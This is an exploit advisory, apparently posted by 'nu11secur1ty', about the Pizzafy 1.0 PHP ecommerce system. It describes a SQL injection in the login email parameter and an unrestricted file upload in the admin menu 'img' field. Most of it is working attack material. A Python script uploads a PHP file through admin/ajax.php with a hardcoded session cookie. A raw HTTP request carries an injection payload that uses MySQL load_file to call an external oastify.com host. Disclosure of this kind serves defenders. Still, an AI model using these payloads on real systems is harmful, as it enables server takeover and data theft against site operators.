Pizzafy 1.0 Shell Upload / SQL Injection

# Title: pizzafy-1.0-Multiple-SQLi&FU-shell-vulnerabiliries+Exploit
# Author: nu11secur1ty
# Date: 10/12/2026
# Vendor: https://github.com/clararod9
# Software:
https://www.sourcecodester.com/download-code?nid=18708&title=Pizzafy+Ecommerce+System+using+PHP+and+MySQL
# Reference:

## Description:
# SQLi
The email parameter appears to be vulnerable to SQL injection attacks. The
payload '+(select load_file('\\\\
ig25s4ulz5432zyjjg8kjeasxj3cr5ht8wwoje73.oastify.com\\gyf'))+' was
submitted in the email parameter. This payload injects a SQL sub-query that
calls MySQL's load_file function with a UNC file path that references a URL
on an external domain. The application interacted with that domain,
indicating that the injected SQL query was executed.
---
# File Upload - shell upload
In the menu the parameter "img" in page=menu is not sanitizing correctly,
the attacker can execute an shell upload exploit and can execute this
upload content
directly on the server application. This is an absolutely disaster!

STATUS: CRITICAL


[+]Payload and Exploits:
```
# File upload - shell:
#!/usr/bin/python
# FU by nu11secur1ty 2026
import requests

session = requests.session()

pizzafy0_url = "
https://pwnedhost.com:443/Pizzafy/admin/ajax.php?action=save_menu"
pizzafy0_cookies = {"PHPSESSID": "m67htkp59u5k3ja3ujbjo525is"}
pizzafy0_headers = {
    "Sec-Ch-Ua-Platform": '"Windows"',
    "Accept-Language": "en-US,en;q=0.9",
    "Sec-Ch-Ua": '"Chromium";v="151", "Not=A?Brand";v="99"',
    "Sec-Ch-Ua-Mobile": "?0",
    "X-Requested-With": "XMLHttpRequest",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36",
    "Accept": "*/*",
    "Content-Type": "multipart/form-data;
boundary=----WebKitFormBoundaryhmkTqXpClhtdyXeS",
    "Origin": "https://pwnedhost.com",
    "Sec-Fetch-Site": "same-origin",
    "Sec-Fetch-Mode": "cors",
    "Sec-Fetch-Dest": "empty",
    "Referer": "https://pwnedhost.com/Pizzafy/admin/index.php?page=menu",
    "Accept-Encoding": "gzip, deflate, br",
    "Priority": "u=1, i",
    "Connection": "keep-alive",
}
pizzafy0_data =
'------WebKitFormBoundaryhmkTqXpClhtdyXeS\r\nContent-Disposition:
form-data;
name="id"\r\n\r\n2\r\n------WebKitFormBoundaryhmkTqXpClhtdyXeS\r\nContent-Disposition:
form-data;
name="name"\r\n\r\nBrocolis\r\n------WebKitFormBoundaryhmkTqXpClhtdyXeS\r\nContent-Disposition:
form-data;
name="description"\r\n\r\nBrocolis\r\n------WebKitFormBoundaryhmkTqXpClhtdyXeS\r\nContent-Disposition:
form-data;
name="status"\r\n\r\non\r\n------WebKitFormBoundaryhmkTqXpClhtdyXeS\r\nContent-Disposition:
form-data;
name="category_id"\r\n\r\n1\r\n------WebKitFormBoundaryhmkTqXpClhtdyXeS\r\nContent-Disposition:
form-data;
name="price"\r\n\r\n380\r\n------WebKitFormBoundaryhmkTqXpClhtdyXeS\r\nContent-Disposition:
form-data; name="img"; filename="info.php"\r\nContent-Type:
application/octet-stream\r\n\r\n<?php\n\tphpinfo();\n?>\n\r\n------WebKitFormBoundaryhmkTqXpClhtdyXeS--\r\n'
session.post(
    pizzafy0_url, headers=pizzafy0_headers, cookies=pizzafy0_cookies,
data=pizzafy0_data, verify=False
)

### SQLI:

POST /Pizzafy/admin/ajax.php?action=login2 HTTP/1.1
Host: pwnedhost.com
Cache-Control: max-age=0
Sec-CH-UA: "Chromium";v="151", "Not;A=Brand";v="24", "Google Chrome";v="151"
Sec-CH-UA-Mobile: ?0
Sec-CH-UA-Platform: "Windows"
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Accept: */*
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=11ckq2t5lj12rc6dieagcauofv
Origin: https://pwnedhost.com
X-Requested-With: XMLHttpRequest
Referer: https://pwnedhost.com/Pizzafy/index.php?page=home
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 57

[email protected]'%2b(select%20load_file('%5c%5c%5c%
5cig25s4ulz5432zyjjg8kjeasxj3cr5ht8wwoje73.oastify.com
%5c%5cgyf'))%2b'&password=q7V!u2l!L5
```

# Reproduce:
[href](
https://odysee.com/@nu11secur1ty:b/pizzafy-1.0-Multiple-SQLi-FU-shell-vulnerabiliries+Exploit
)

# Demo:
[href](
https://odysee.com/@nu11secur1ty:b/pizzafy-1.0-Multiple-SQLi-FU-shell-vulnerabiliries+Exploit
)

# Time spent:
01:09:00


--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
home page: https://www.asc3t1c-nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <https://www.asc3t1c-nu11secur1ty.com/>